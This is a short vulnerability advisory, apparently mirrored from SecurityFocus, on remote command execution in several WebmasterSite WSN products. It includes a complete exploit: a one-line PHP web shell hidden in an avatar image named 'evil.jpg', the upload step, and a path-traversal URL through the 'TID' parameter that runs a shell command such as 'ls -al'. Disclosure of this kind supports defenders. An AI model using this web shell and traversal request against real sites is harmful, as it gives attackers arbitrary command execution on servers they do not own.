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855 B
Text
25 lines
No EOL
855 B
Text
source: https://www.securityfocus.com/bid/30572/info
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Multiple WebmasterSite products are prone to a remote shell command-execution vulnerability because the applications fail to sufficiently sanitize user-supplied data.
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Successfully exploiting this issue will allow an attacker to execute arbitrary commands in the context of the affected application.
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This issue affects the following products:
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WSN Forum 4.1.43
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WSN Knowledge Base 4.1.36
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WSN Links 4.1.44
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WSN Gallery 4.1.30
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Note that previous versions may also be vulnerable.
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Avatar evil.jpg source:
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<? system($_GET['cmd']); ?>
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Enter to upload:
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http://www.example.com/forum/profile.php?action=editprofile&id=[Your User ID]
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See the avatar name at your profile.
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Upload evil avatar and go to:
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http://www.example.com/index.php?custom=yes&TID=../../attachments/avatars/[Avatar Name]&ext=jpg&cmd=ls -al |